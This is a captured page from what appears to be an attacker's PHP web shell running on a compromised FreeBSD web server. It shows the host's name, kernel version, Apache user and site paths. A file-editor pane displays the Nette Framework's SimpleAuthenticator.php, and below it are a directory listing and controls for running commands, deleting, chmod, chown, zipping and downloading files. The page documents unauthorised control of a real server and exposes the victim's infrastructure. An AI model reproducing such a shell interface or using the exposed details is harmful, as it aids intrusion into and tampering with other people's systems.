TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
nette
security
src
Security
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/nette/security/src/Security/SimpleAuthenticator.php
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ namespace Nette\Security; use Nette; /** * Trivial implementation of IAuthenticator. */ class SimpleAuthenticator extends Nette\Object implements IAuthenticator { /** @var array */ private $userlist; /** @var array */ private $usersRoles; /** * @param array list of pairs username => password * @param array list of pairs username => role[] */ public function __construct(array $userlist, array $usersRoles = array()) { $this->userlist = $userlist; $this->usersRoles = $usersRoles; } /** * Performs an authentication against e.g. database. * and returns IIdentity on success or throws AuthenticationException * @return IIdentity * @throws AuthenticationException */ public function authenticate(array $credentials) { list($username, $password) = $credentials; foreach ($this->userlist as $name => $pass) { if (strcasecmp($name, $username) === 0) { if ((string) $pass === (string) $password) { return new Identity($name, isset($this->usersRoles[$name]) ? $this->usersRoles[$name] : NULL); } else { throw new AuthenticationException('Invalid password.', self::INVALID_CREDENTIAL); } } } throw new AuthenticationException("User '$username' not found.", self::IDENTITY_NOT_FOUND); } }
Crotin
Name
Size
Permissions
Modified
User/Group
Identity.php
2424
0644
2018-07-10 17:51:55
Unknown/Unknown
Permission.php
20152
0644
2018-07-10 17:51:55
Unknown/Unknown
Passwords.php
1960
0644
2018-07-10 17:51:55
Unknown/Unknown
IRole.php
365
0644
2018-07-10 17:51:55
Unknown/Unknown
IAuthenticator.php
653
0644
2018-07-10 17:51:55
Unknown/Unknown
User.php
5773
0644
2018-07-10 17:51:55
Unknown/Unknown
IResource.php
371
0644
2018-07-10 17:51:55
Unknown/Unknown
IIdentity.php
424
0644
2018-07-10 17:51:55
Unknown/Unknown
IAuthorizator.php
643
0644
2018-07-10 17:51:55
Unknown/Unknown
SimpleAuthenticator.php
1403
0644
2018-07-10 17:51:55
Unknown/Unknown
IUserStorage.php
1251
0644
2018-07-10 17:51:55
Unknown/Unknown
AuthenticationException.php
257
0644
2018-07-10 17:51:55
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin